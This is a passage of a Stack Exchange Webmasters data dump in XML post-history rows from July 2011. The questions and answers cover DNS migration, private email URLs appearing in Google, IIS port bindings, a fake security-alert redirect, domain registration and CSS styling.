server.&#xD;&#xA;&#xD;&#xA; 7. Change the nameservers at the registrar to point to the new DNS server.&#xD;&#xA;&#xD;&#xA; 8. Check the site works, wait a few days for everything everywhere to propagate to the new settings, and then turn off the old nameserver.&#xD;&#xA;&#xD;&#xA; 9. If transferring registrar, do that step last before closing the old account.&#xD;&#xA;&#xD;&#xA;You suggest using a intermediate, third party DNS service. I'd suggest that you use a third party DNS service not only as an intermediary, but as the main DNS provider." />
  <row Id="39844" PostHistoryTypeId="2" PostId="16678" RevisionGUID="c59e042c-3c1f-42f2-b9ae-a2ae8f5275fc" CreationDate="2011-07-11T18:30:30.680" UserId="8901" Text="I've got a major problem in that emails sent to our clients are showing up in Google's search results. For confidentiality reasons, I can't post those links (for risk that they get indexed here), but the format is something like this&#xD;&#xA;&#xD;&#xA;http://www.abc.com/xxhh1213131&#xD;&#xA;&#xD;&#xA;where xxhh1213131 is a unique &quot;token&quot; that for each of our recipients.&#xD;&#xA;&#xD;&#xA;Any idea how this might be happening? We have a &quot;view as webpage&quot; link in our emails. Could this have happened from traffic to those links?&#xD;&#xA;&#xD;&#xA;Any advice/thoughts would be much appreciated!&#xD;&#xA;&#xD;&#xA;Ray&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39845" PostHistoryTypeId="1" PostId="16678" RevisionGUID="c59e042c-3c1f-42f2-b9ae-a2ae8f5275fc" CreationDate="2011-07-11T18:30:30.680" UserId="8901" Text="Email private information appearing in Google Results" />
  <row Id="39846" PostHistoryTypeId="3" PostId="16678" RevisionGUID="c59e042c-3c1f-42f2-b9ae-a2ae8f5275fc" CreationDate="2011-07-11T18:30:30.680" UserId="8901" Text="&lt;google&gt;&lt;email&gt;&lt;google-search&gt;" />
  <row Id="39847" PostHistoryTypeId="25" PostId="16662" RevisionGUID="c5fc2284-33fa-4d59-98c5-cc9ccd989c04" CreationDate="2011-07-11T18:31:20.243" Comment="http://twitter.com/#!/StackWebmasters/status/90488353287454720" />
  <row Id="39848" PostHistoryTypeId="2" PostId="16679" RevisionGUID="d4bb1fa0-3100-473a-91e8-bfa0d8b41bab" CreationDate="2011-07-11T18:32:38.763" UserId="1803" Text="In addition to @Rincewind42's answer, you may also make use of the `&lt;hgroup&gt;`-element to group the website- and page-title.&#xD;&#xA;&#xD;&#xA;You mustn't use two heading's, it is also possible to combine an `&lt;h1&gt;` and `&lt;p&gt;` or whatever within one `&lt;hgroup&gt;`:&#xD;&#xA;&#xD;&#xA;    &lt;hgroup&gt;&#xD;&#xA;        &lt;h1&gt;&lt;a href=&quot;/&quot;&gt;overall website title&lt;/a&gt;&lt;/h1&gt;&#xD;&#xA;        &lt;h2 id=&quot;slogan&quot;&gt;Subtitle, or maybe pagetitle&lt;/h2&gt;&#xD;&#xA;    &lt;/hgroup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;See: http://html5doctor.com/the-hgroup-element/" />
  <row Id="39849" PostHistoryTypeId="2" PostId="16680" RevisionGUID="81ac8a09-5ffb-4e6e-a413-5dac8879d880" CreationDate="2011-07-11T18:37:46.080" UserId="1253" Text="If the search engines can find the page those links are on and are not told to ignore those pages, they will index them like any other web document. `&lt;speculation&gt;`In your specific case they probably found them when the user went to view them. Either the browser or an extension in the browser sent tha information to Google and they then crawled those pages.`&lt;/speculation&gt;`&#xD;&#xA;&#xD;&#xA;If you do not want them indexed, and would like them to be removed, you need to tell the search engines to block them. There are [several ways][1] to do this:&#xD;&#xA;&#xD;&#xA;&gt; 1) Use [robots.txt][2]&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2) Use meta tags &#xD;&#xA;&gt; &#xD;&#xA;&gt;     &lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&gt;&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3) Use http headers&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Header set x-robots-tag: noindex&#xD;&#xA;&gt; &#xD;&#xA;&gt; 4) Use rel=&quot;nofollow&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt;     &lt;a href=&quot;http://www.example.com/sample.html&quot; rel=&quot;nofollow&quot;&gt;Link to page I don't want indexed&lt;/a&gt;&#xD;&#xA;&gt; &#xD;&#xA;&gt; 5) Place the content behind a login. Search engines (generally) do not&#xD;&#xA;&gt; submit forms nor create accounts at websites.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 6) Block the bots of all of the major search engines using .htaccess&#xD;&#xA;&gt; but that would be tedious and prone to error if they change whatever&#xD;&#xA;&gt; it is you would use to identify them (e.g. ip address, user agent).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8005/blocking-search-engines-to-crawl-parts-of-a-website&#xD;&#xA;  [2]: http://www.robotstxt.org/" />
  <row Id="39850" PostHistoryTypeId="5" PostId="16678" RevisionGUID="bcfcbfd1-48a0-4ee7-b616-fad1e713e22b" CreationDate="2011-07-11T18:41:16.543" UserId="1253" Comment="minor text edits" Text="I've got a major problem in that emails sent to our clients are showing up in Google's search results. For confidentiality reasons, I can't post those links (for risk that they get indexed here), but the format is something like this&#xD;&#xA;&#xD;&#xA;http://www.abc.com/xxhh1213131&#xD;&#xA;&#xD;&#xA;where xxhh1213131 is a unique &quot;token&quot; that for each of our recipients.&#xD;&#xA;&#xD;&#xA;Any idea how this might be happening? We have a &quot;view as webpage&quot; link in our emails. Could this have happened from traffic to those links?" />
  <row Id="39851" PostHistoryTypeId="2" PostId="16681" RevisionGUID="2e751bc5-4514-4e7e-bfa5-3761573dec4c" CreationDate="2011-07-11T20:25:10.880" UserId="8847" Text="I have an apache running on port 80, I want to move my Web Applications to *:8080 But I don't remember how.&#xD;&#xA;&#xD;&#xA;I've seen [this link][1] but **Edit Bindings** isn't in my options list.&#xD;&#xA;&#xD;&#xA;Not even in **Basic Settings** nor in **Advanced Settings**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Heres An image of What I've got.&#xD;&#xA;![IIS - Left Panel Options][2]&#xD;&#xA;&#xD;&#xA;Please anyone who knows this, answer with a *&quot;follow this steps&quot;* kind of answer.&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/72620/how-to-change-listening-port-on-webbserver-iis-7&#xD;&#xA;  [2]: http://i.stack.imgur.com/RXskr.png" />
  <row Id="39852" PostHistoryTypeId="1" PostId="16681" RevisionGUID="2e751bc5-4514-4e7e-bfa5-3761573dec4c" CreationDate="2011-07-11T20:25:10.880" UserId="8847" Text="How to change listening port on webbserver IIS 7?" />
  <row Id="39853" PostHistoryTypeId="3" PostId="16681" RevisionGUID="2e751bc5-4514-4e7e-bfa5-3761573dec4c" CreationDate="2011-07-11T20:25:10.880" UserId="8847" Text="&lt;apache&gt;&lt;iis7&gt;" />
  <row Id="39854" PostHistoryTypeId="2" PostId="16682" RevisionGUID="7d918626-28de-446e-bb7c-8a4eee7cceb0" CreationDate="2011-07-11T20:28:20.383" UserId="1253" Text="From [How to change the TCP port for IIS services][1]&#xD;&#xA;&#xD;&#xA;1. Open Internet Information Services (IIS) Manager.&#xD;&#xA;2. Select the Web site that you wish to configure.&#xD;&#xA;3. In the Action pane, click Bindings.&#xD;&#xA;4. Click Add to add a new site binding, or click Edit to change an existing binding.&#xD;&#xA;5. Click OK to apply the changes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.microsoft.com/kb/149605&#xD;&#xA;  " />
  <row Id="39855" PostHistoryTypeId="17" PostId="16683" RevisionGUID="60a69fe6-13d8-4f24-894a-0f47b3694fdb" CreationDate="2011-07-11T20:30:02.960" UserId="-1" Comment="from http://stackoverflow.com/questions/6654922/fake-windows-security-alert" Text="" />
  <row Id="39856" PostHistoryTypeId="2" PostId="16683" RevisionGUID="57dee7b0-ae0b-45de-b2ce-e5a7df323d37" CreationDate="2011-07-11T18:47:27.383" UserDisplayName="Michael" Text="I have a website which is redirecting users to a fake windows security alert and I'm not to sure how to get rid of it. What's weird is that it's only happening in IE and that it seems to happen the first time visiting the site but then will not happen again (even after clearing cache and cookies).&#xD;&#xA;&#xD;&#xA;This is what my site is being redirected to:&#xD;&#xA;http://assets.malwarehelp.org/blog/wp-content/uploads/2009/09/04.jpg&#xD;&#xA;&#xD;&#xA;I've looked through the source and haven't found any injected scripts. I'm not too sure where to go from here.  Any help is appreciated.&#xD;&#xA;&#xD;&#xA;This is my site and the link which I was getting reports about: http://www.agendaprofile.com/skill-builder#16012ce4a0" />
  <row Id="39857" PostHistoryTypeId="1" PostId="16683" RevisionGUID="57dee7b0-ae0b-45de-b2ce-e5a7df323d37" CreationDate="2011-07-11T18:47:27.383" UserDisplayName="Michael" Text="Fake Windows Security Alert" />
  <row Id="39858" PostHistoryTypeId="3" PostId="16683" RevisionGUID="57dee7b0-ae0b-45de-b2ce-e5a7df323d37" CreationDate="2011-07-11T18:47:27.383" UserDisplayName="Michael" Text="&lt;security&gt;&lt;malware&gt;" />
  <row Id="39859" PostHistoryTypeId="2" PostId="16684" RevisionGUID="edbcfe8d-7bb3-4c4f-8e88-d5d73370644c" CreationDate="2011-07-11T20:30:27.387" UserId="1735" Text="I am experiencing an odd occurance on a site I'm building right now where images are displayed 90 degrees different from how they are supposed to, but while maintaining the normal dimensions of the image that I specified. This only occurs on the Safari in iPad and iPhone for me... all other browsers do not have this problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;The page in question can be seen here: http://www.andrewpeterson.com/i-had-to-be-a-perfect-gentleman-with-the-princesses/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/PCvUA.png" />
  <row Id="39860" PostHistoryTypeId="1" PostId="16684" RevisionGUID="edbcfe8d-7bb3-4c4f-8e88-d5d73370644c" CreationDate="2011-07-11T20:30:27.387" UserId="1735" Text="iPad and iPhone browser rotating images on site?" />
  <row Id="39861" PostHistoryTypeId="3" PostId="16684" RevisionGUID="edbcfe8d-7bb3-4c4f-8e88-d5d73370644c" CreationDate="2011-07-11T20:30:27.387" UserId="1735" Text="&lt;css&gt;&lt;images&gt;&lt;iphone&gt;&lt;ipad&gt;" />
  <row Id="39862" PostHistoryTypeId="4" PostId="16681" RevisionGUID="16ba0bc4-5f2e-4e44-a26b-9c1e8373c38a" CreationDate="2011-07-11T20:30:28.977" UserId="1253" Comment="modified tags, title" Text="How to change the listening port on IIS 7 web server?" />
  <row Id="39863" PostHistoryTypeId="6" PostId="16681" RevisionGUID="16ba0bc4-5f2e-4e44-a26b-9c1e8373c38a" CreationDate="2011-07-11T20:30:28.977" UserId="1253" Comment="modified tags, title" Text="&lt;iis7&gt;&lt;iis&gt;" />
  <row Id="39864" PostHistoryTypeId="5" PostId="16676" RevisionGUID="0ee3c588-d20b-46a8-b201-ab9e830894b9" CreationDate="2011-07-11T20:31:10.707" UserId="540" Comment="&quot;my&quot; to &quot;by&quot;" Text="If you're in the US you can rule out using a true merchant account for this. Accepting payments on the behalf of another business is called [factoring][1]&lt;sup&gt;*&lt;/sup&gt;. Factoring is against the rules set forth by Visa and MasterCard (and I'm pretty sure Discover Card and American Express as well). If you are caught factoring your merchant account will be closed, any outstanding funds will be held for six months or more, and you will be put on the Match File which is a blacklist for merchant accounts. Once you are on it you can never get a true merchant account again.&#xD;&#xA;&#xD;&#xA;PayPal offers [Adaptive Payments][2] which allows a payment to be split among two or more users. The only drawback is if a user is in a country not supported by PayPal then this won't work for them. Since this will be a US only website that won't be an issue for you.&#xD;&#xA;&#xD;&#xA;If you choose to use PayPal's Adaptive Payments, you will need to do some coding on your end to manage how the payments are dispersed. But that would be true of any payment provider you choose for this task. I suspect they have sample code to get you started at their [developer website][3].&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;*&lt;/sup&gt; I am the author of this content&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.merchant-account-services.org/blog/what-you-cant-do-with-credit-card-processing/&#xD;&#xA;  [2]: https://www.x.com/community/ppx/adaptive_payments&#xD;&#xA;  [3]: https://www.x.com/index.jspa" />
  <row Id="39865" PostHistoryTypeId="24" PostId="16676" RevisionGUID="0ee3c588-d20b-46a8-b201-ab9e830894b9" CreationDate="2011-07-11T20:31:10.707" Comment="Proposed by 540 approved by 1253 edit id of 432" />
  <row Id="39866" PostHistoryTypeId="5" PostId="16681" RevisionGUID="16ba0bc4-5f2e-4e44-a26b-9c1e8373c38a" CreationDate="2011-07-11T20:30:28.977" UserId="1253" Comment="modified tags, title" Text="I have an apache running on port 80, I want to move my Web Applications to *:8080 But I don't remember how. I've seen [this link][1] but **Edit Bindings** isn't in my options list. Not even in **Basic Settings** nor in **Advanced Settings**.&#xD;&#xA;&#xD;&#xA;Heres An image of What I've got.&#xD;&#xA;&#xD;&#xA;![IIS - Left Panel Options][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/72620/how-to-change-listening-port-on-webbserver-iis-7&#xD;&#xA;  [2]: http://i.stack.imgur.com/RXskr.png" />
  <row Id="39868" PostHistoryTypeId="2" PostId="16685" RevisionGUID="65975eee-79ad-4c4e-b373-95b78ac85dc7" CreationDate="2011-07-11T21:00:42.080" UserId="8903" Text="what does organizations like google do when they need to protect the domain , i know that the domain is the most important thing to guarantee your domain owning , and the domain will be with employers , in other words , i have a domain for a company and dont want to give it to employers to avoid any robery , what to do for that ? is there any insurance for that ? i really need your help in that thanks in advance&#xD;&#xA;&#xD;&#xA;i mean that my company will need a lot of developers , they need the domain accessing a lot to change dns and something like that , i am afraid that i lose my domain , i want to know how google works in such issue , is the domain password only with the ceo ? i don't think so , how can the brand help? i dont have a brand yet , just signed up a domain .&#xD;&#xA;" />
  <row Id="39869" PostHistoryTypeId="1" PostId="16685" RevisionGUID="65975eee-79ad-4c4e-b373-95b78ac85dc7" CreationDate="2011-07-11T21:00:42.080" UserId="8903" Text="How to protect owning my domain ?" />
  <row Id="39870" PostHistoryTypeId="3" PostId="16685" RevisionGUID="65975eee-79ad-4c4e-b373-95b78ac85dc7" CreationDate="2011-07-11T21:00:42.080" UserId="8903" Text="&lt;domains&gt;&lt;privacy&gt;" />
  <row Id="39872" PostHistoryTypeId="25" PostId="16678" RevisionGUID="b7ea22e9-70a5-449b-9fc6-c25485c6e26e" CreationDate="2011-07-11T21:31:20.997" Comment="http://twitter.com/#!/StackWebmasters/status/90533653481914369" />
  <row Id="39873" PostHistoryTypeId="17" PostId="16687" RevisionGUID="a9bff9e8-c03e-429f-ab5f-3ab1e41d0317" CreationDate="2011-07-11T22:06:19.933" UserId="-1" Comment="from http://serverfault.com/questions/289216/automatic-domain-name-appendings-in-blog-under-godaddy" Text="" />
  <row Id="39874" PostHistoryTypeId="2" PostId="16687" RevisionGUID="f3f9a45a-45e1-4441-a61f-82957139dac7" CreationDate="2011-07-11T21:59:04.620" UserDisplayName="hhh" Text="Suppose I have a blog &quot;hello.blogspot.com&quot; and I want to redirect it to &quot;hello.com&quot;. When I publish a new post such as &quot;hello.blogspot.com/2011/01/hello.html&quot;, I want that it will be visible to users with the format such as &quot;hello.com/2011/01/hello.html&quot;. How can I do that?&#xD;&#xA;&#xD;&#xA;I am very confused by GoDaddy's CashParking marketing and I am starting to feel their answers roll around. Right technical terms about this issue rightly appreciated!" />
  <row Id="39875" PostHistoryTypeId="1" PostId="16687" RevisionGUID="f3f9a45a-45e1-4441-a61f-82957139dac7" CreationDate="2011-07-11T21:59:04.620" UserDisplayName="hhh" Text="Automatic Domain Name Appendings in Blog Under Godaddy?" />
  <row Id="39876" PostHistoryTypeId="3" PostId="16687" RevisionGUID="f3f9a45a-45e1-4441-a61f-82957139dac7" CreationDate="2011-07-11T21:59:04.620" UserDisplayName="hhh" Text="&lt;godaddy&gt;" />
  <row Id="39877" PostHistoryTypeId="2" PostId="16688" RevisionGUID="5d8e0e07-7066-4fb4-ac62-933469d862f8" CreationDate="2011-07-11T22:06:58.530" UserId="1255" Text="I've recently opened up small IT company which main tasks will be to administrate it infrastructure, outsourcing it, programming small applications (and release some of them for free, some to be bought), do some consulting, integrations. Basically everything IT company can do I'm going to do (on beginning alone, later on with employees). &#xD;&#xA;&#xD;&#xA;So I've decided to have a webpage for my company but I can't decide on some little things in webdesign. I don't want to overload the page so I wanted the page to be good looking, functional and attractive to potential customers. &#xD;&#xA;&#xD;&#xA;I was wondering then if Blog can or even should coexist with news page? Or should everything be done in form of Blog (news about new deal with client x, news about new program my company released, but also news on new Eset Smart Security being out and being offered by my company as reseller / consulting type). Also I am a bit techy so sometimes I would write about some administration issues / programming related things... or maybe I should skip it and never do that on company webpage? I would like this company site to evolve to something more then `just` another company's website... Or maybe it would be better to split those two? " />
  <row Id="39878" PostHistoryTypeId="1" PostId="16688" RevisionGUID="5d8e0e07-7066-4fb4-ac62-933469d862f8" CreationDate="2011-07-11T22:06:58.530" UserId="1255" Text="Does having blog and news on company's webpage come in pair?" />
  <row Id="39879" PostHistoryTypeId="3" PostId="16688" RevisionGUID="5d8e0e07-7066-4fb4-ac62-933469d862f8" CreationDate="2011-07-11T22:06:58.530" UserId="1255" Text="&lt;websites&gt;&lt;blog&gt;" />
  <row Id="39881" PostHistoryTypeId="2" PostId="16689" RevisionGUID="d6631a2e-6608-48dc-b534-10281ffb5261" CreationDate="2011-07-11T22:21:47.663" UserId="1253" Text="You can do anything you want. Put everything in the blog, or have the blog be separate and have a &quot;news&quot; page. You'll find lots of examples of both and one isn't necessarily better then the other.&#xD;&#xA;&#xD;&#xA;What matters most if whatever content you publish is well written and would be considered &quot;quality content&quot;. If you are able to publish quality content in your website you will raise your visibility in the search engines which can be a great way to get targeted sales leads. Especially if you target &quot;long tail&quot; search phrases. Those leads tend the be *very* targeted.&#xD;&#xA;&#xD;&#xA;The only stuff I would not include in your website, whether be it a blog or otherwise, is any content not related to what your company does. Having irrelevant content can only confuse potential customers about what services you offer and attract leads that are not potential customers. Publish that elsewhere but feel free to link to company website/blog whenever something semi-relevant does get published." />
  <row Id="39882" PostHistoryTypeId="10" PostId="16685" RevisionGUID="ef832d39-51ee-4487-88f8-64df10979581" CreationDate="2011-07-11T22:23:23.233" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39883" PostHistoryTypeId="2" PostId="16690" RevisionGUID="1300cd7c-c0df-4f3e-9203-75eab3ed4825" CreationDate="2011-07-11T22:26:53.113" UserId="3728" Text="I represent a business in the United States. I would like to grab a '.mo' domain name, but I see some restrictions on the domain. &#xD;&#xA;&#xD;&#xA;Is it possible to grab a '.mo' domain name without going through the hassle of registering a trademark through Macao, China? Do domain name brokers exist that will handle this cheaply and hassle-free?" />
  <row Id="39884" PostHistoryTypeId="1" PostId="16690" RevisionGUID="1300cd7c-c0df-4f3e-9203-75eab3ed4825" CreationDate="2011-07-11T22:26:53.113" UserId="3728" Text="How can I get a '.mo' domain?" />
  <row Id="39885" PostHistoryTypeId="3" PostId="16690" RevisionGUID="1300cd7c-c0df-4f3e-9203-75eab3ed4825" CreationDate="2011-07-11T22:26:53.113" UserId="3728" Text="&lt;domain-registration&gt;&lt;international&gt;" />
  <row Id="39886" PostHistoryTypeId="2" PostId="16691" RevisionGUID="b0eaee10-19eb-4e1c-b541-ba7c7c9db06e" CreationDate="2011-07-11T22:35:57.303" UserId="4502" Text="In short: &lt;a href=&quot;https://www.monic.mo/html/reg/regulation_eng.html&quot;&gt;No&lt;/a&gt;.  &#xD;&#xA;Unless you think you can fake &lt;a href=&quot;https://www.monic.mo/html/notice/required_doc_proof_for_domain_name_registration_eng.html&quot;&gt;all of this information&lt;/a&gt;. Brokers don't even come into the question; you'd need someone to set up an entire business entity or something to even get started. &#xD;&#xA;&#xD;&#xA;Additionally, you're a bit unclear on exactly what kind of domain it is you want to get, but you should also note you can't even try to get example.mo until you lie well enough to get example.com.mo(or .org.mo, etc.)" />
  <row Id="39887" PostHistoryTypeId="2" PostId="16692" RevisionGUID="95d0948d-e02d-4873-9caf-10d86b8c0b66" CreationDate="2011-07-11T22:37:35.117" UserId="8354" Text="Uuuh .. I do not have any Apple device or browser to check .. but it looks like they reading **EXIF** metadata (in particular rotation).&#xD;&#xA;&#xD;&#xA;I have opened one of this images in XnView -- image is displayed 90 degrees rotated.&#xD;&#xA;&#xD;&#xA;Try removing all extra info from these images (do it for at least one image). Use image compressors, like this one: [punypng.com](http://www.punypng.com/) (or any other tool that can remove metadata details .. or just rotate it and save again) and replace your image with &quot;optimized&quot; version.&#xD;&#xA;&#xD;&#xA;When checking again on iPad, make sure the browser has current image version, so clear caches.&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;Thnx Su'" />
  <row Id="39888" PostHistoryTypeId="2" PostId="16693" RevisionGUID="525de346-b9a5-4eca-acba-319ad5368fa6" CreationDate="2011-07-12T00:00:25.123" UserId="1009" Text="Well, should have checked the NameCheap knowledgebase, first: [How to transfer a domain into Namecheap without a huge downtime?][1]&#xD;&#xA;&#xD;&#xA;*NameCheap offers a FreeDNS service so their name servers can start handling DNS requests before a transfer. I suppose it would keep working when transferring away from NameCheap, too.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.namecheap.com/support/knowledgebase/article.aspx/582" />
  <row Id="39889" PostHistoryTypeId="5" PostId="16693" RevisionGUID="51ed1c9a-871c-4226-83e6-a2bade7e6f21" CreationDate="2011-07-12T00:17:56.340" UserId="1009" Comment="added 61 characters in body" Text="Well, should have checked the NameCheap knowledgebase, first: [How to transfer a domain into Namecheap without a huge downtime?][1]&#xD;&#xA;&#xD;&#xA;*NameCheap offers a [FreeDNS][2] service so their name servers can start handling DNS requests before a transfer. I suppose it would keep working when transferring away from NameCheap, too.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.namecheap.com/support/knowledgebase/article.aspx/582&#xD;&#xA;  [2]: https://www.namecheap.com/products/freedns.aspx" />
  <row Id="39890" PostHistoryTypeId="25" PostId="16690" RevisionGUID="09003ccb-c4c9-42eb-8d63-495bdc1f41f7" CreationDate="2011-07-12T00:31:21.710" Comment="http://twitter.com/#!/StackWebmasters/status/90578957082165249" />
  <row Id="39891" PostHistoryTypeId="25" PostId="16684" RevisionGUID="97e8253d-7078-403b-bb0b-35ed8b737c6f" CreationDate="2011-07-12T03:31:22.440" Comment="http://twitter.com/#!/StackWebmasters/status/90624257897410562" />
  <row Id="39892" PostHistoryTypeId="2" PostId="16694" RevisionGUID="1ff997a7-bb42-4177-b6e0-dfbf0b4c3113" CreationDate="2011-07-12T04:50:53.623" UserId="6193" Text="I'm new to Joomla and I am required to read and understand this tutorial. I have questions on the very first page:   &#xD;&#xA;http://docs.joomla.org/Developing_a_Model-View-Controller_(MVC)_Component_for_Joomla!1.6_-_Part_01    &#xD;&#xA;    &#xD;&#xA;I installed the 'hello world' zip file and navigated to the appropriate URLs to see the hello-world message.    &#xD;&#xA;    &#xD;&#xA;There is a file: yoursite/components/com_helloworld/helloworld.php     &#xD;&#xA;and this file contains the text:    &#xD;&#xA;&quot;Hello world&quot;    &#xD;&#xA;    &#xD;&#xA;There is also a file at: site/helloworld.php    &#xD;&#xA;that contains the exact same text:     &#xD;&#xA;&quot;Hello world&quot;   &#xD;&#xA;   &#xD;&#xA;The instructions say to navigate to:   &#xD;&#xA;index.php?option=com_helloworld    &#xD;&#xA;   &#xD;&#xA;There is a similar situation for the back end; there are two files:   &#xD;&#xA;1) admin/helloworld.php   &#xD;&#xA;2) administrator/components/com_helloworld/helloworld.php    &#xD;&#xA;both of these contain the text:   &#xD;&#xA;&quot;Hello world administration&quot;   &#xD;&#xA;   &#xD;&#xA;The instructions say to navigate to:   &#xD;&#xA;administrator/index.php?option=com_helloworld    &#xD;&#xA;   &#xD;&#xA;I'm not sure the author is very articulate. A few questions pop up:   &#xD;&#xA;1) Is it necessary to have the identical message duplicated in both cases?   &#xD;&#xA;2) What if one message was different?   &#xD;&#xA;3) Which of the files is the text produced in my browser actually coming from?    &#xD;&#xA;&#xD;&#xA;" />
  <row Id="39893" PostHistoryTypeId="1" PostId="16694" RevisionGUID="1ff997a7-bb42-4177-b6e0-dfbf0b4c3113" CreationDate="2011-07-12T04:50:53.623" UserId="6193" Text="Joomla 1.6 Components Tutorial" />
  <row Id="39894" PostHistoryTypeId="3" PostId="16694" RevisionGUID="1ff997a7-bb42-4177-b6e0-dfbf0b4c3113" CreationDate="2011-07-12T04:50:53.623" UserId="6193" Text="&lt;joomla&gt;" />
  <row Id="39895" PostHistoryTypeId="2" PostId="16695" RevisionGUID="0d2c30e3-0481-44ee-9889-35ebd9ce0b7f" CreationDate="2011-07-12T05:31:34.940" UserId="3948" Text="Preparing for a meeting with our designer later today, I was looking through his Photoshop sketches and wonder whether the following one could be expressed in HTML/CSS, without the need to render the text in Photoshop:&#xD;&#xA;&#xD;&#xA;![Example text with glossy effects][1]&#xD;&#xA;&#xD;&#xA;Do you think the color gradient and the drop shadow could be done 70-90% similar to the original within **plain HTML and CSS**, too?&#xD;&#xA;&#xD;&#xA;Ideally even older browsers should at least be able to draw the text in a readable manner.&#xD;&#xA;&#xD;&#xA;I found [this one back from 2008][2], maybe there is a more modern way of doing it nowadays?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/s6zdt.png&#xD;&#xA;  [2]: http://webdesignerwall.com/tutorials/css-gradient-text-effect" />
  <row Id="39896" PostHistoryTypeId="1" PostId="16695" RevisionGUID="0d2c30e3-0481-44ee-9889-35ebd9ce0b7f" CreationDate="2011-07-12T05:31:34.940" UserId="3948" Text="[pic] Possible to style a text with CSS?" />
  <row Id="39897" PostHistoryTypeId="3" PostId="16695" RevisionGUID="0d2c30e3-0481-44ee-9889-35ebd9ce0b7f" CreationDate="2011-07-12T05:31:34.940" UserId="3948" Text="&lt;html&gt;&lt;css&gt;&lt;photoshop&gt;" />
  <row Id="39898" PostHistoryTypeId="25" PostId="16688" RevisionGUID="aded3fe1-ce5c-4ba6-9622-dd1865422694" CreationDate="2011-07-12T06:31:23.403" Comment="http://twitter.com/#!/StackWebmasters/status/90669560226779137" />
  <row Id="39899" PostHistoryTypeId="2" PostId="16696" RevisionGUID="153486fc-9edb-410c-8575-9233065f9357" CreationDate="2011-07-12T07:24:17.777" UserId="8908" Text="Here is one of my customers, performing some action after having logged in to his account. The unique token is simply an encrypted user id + timestamp.&#xD;&#xA;&#xD;&#xA;&gt; 94.254.xxx.xxx - - [02/Jul/2011:22:25:46 +0200] &quot;GET /some-action/unique-token-123abc HTTP/1.1&quot; 200 410 &quot;-&quot; &quot;Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)&quot;&#xD;&#xA;&#xD;&#xA;Now, **Googlebot** somehow found out about this unique link and tried to access the exact same URL one week later.&#xD;&#xA;&#xD;&#xA;&gt;66.249.71.179 - - [10/Jul/2011:09:56:01 +0200] &quot;GET /some-action/unique-token-123abc HTTP/1.1&quot; 302 - &quot;-&quot; &quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&quot;&#xD;&#xA;&#xD;&#xA;(status code is 302 because the token had expired)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Let me emphasize that this is a unique URL that was visible exactly once, for only 2 seconds, before the user clicked it and proceeded to the next page. It was not sent in an email or published anywhere public.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What is going on here, how is it possible that Google found this unique URL?&#xD;&#xA;&#xD;&#xA;Is there perhaps some browser plugin from Google that collects visited URLs from users? Something like Alexa toolbar? The User-Agent string leaves no hints..." />
  <row Id="39900" PostHistoryTypeId="1" PostId="16696" RevisionGUID="153486fc-9edb-410c-8575-9233065f9357" CreationDate="2011-07-12T07:24:17.777" UserId="8908" Text="How is Googlebot finding URLs that are only visible to authenticated users?" />
  <row Id="39901" PostHistoryTypeId="3" PostId="16696" RevisionGUID="153486fc-9edb-410c-8575-9233065f9357" CreationDate="2011-07-12T07:24:17.777" UserId="8908" Text="&lt;google&gt;&lt;search-engines&gt;&lt;google-crawlers&gt;&lt;googlebot&gt;" />
  <row Id="39902" PostHistoryTypeId="2" PostId="16697" RevisionGUID="c926c356-ecb9-4412-aecd-89189b8b78f2" CreationDate="2011-07-12T07:53:52.357" UserId="5026" Text="I recreated a 2nd user account, which tested okay." />
  <row Id="39903" PostHistoryTypeId="2" PostId="16698" RevisionGUID="7156863e-a250-4756-88dc-16123db32ede" CreationDate="2011-07-12T07:58:28.330" UserId="5026" Text="All of the jQuery image sliders I've seen require images to be the same size.&#xD;&#xA;&#xD;&#xA;Do you know any which can dynamically resize their display pane to fit the size of the image.  I have seen this done on commercial websites." />
  <row Id="39904" PostHistoryTypeId="1" PostId="16698" RevisionGUID="7156863e-a250-4756-88dc-16123db32ede" CreationDate="2011-07-12T07:58:28.330" UserId="5026" Text="jQuery image slider with different sized images" />
  <row Id="39905" PostHistoryTypeId="3" PostId="16698" RevisionGUID="7156863e-a250-4756-88dc-16123db32ede" CreationDate="2011-07-12T07:58:28.330" UserId="5026" Text="&lt;jquery&gt;&lt;image&gt;" />
  <row Id="39906" PostHistoryTypeId="2" PostId="16699" RevisionGUID="6afbd46b-9403-4165-ba4a-ccbb217731f7" CreationDate="2011-07-12T08:02:20.870" UserId="7296" Text="You could create your own FONT and embed that on the page.&#xD;&#xA;&#xD;&#xA;See here http://stackoverflow.com/questions/220236/how-to-embed-fonts-in-html " />
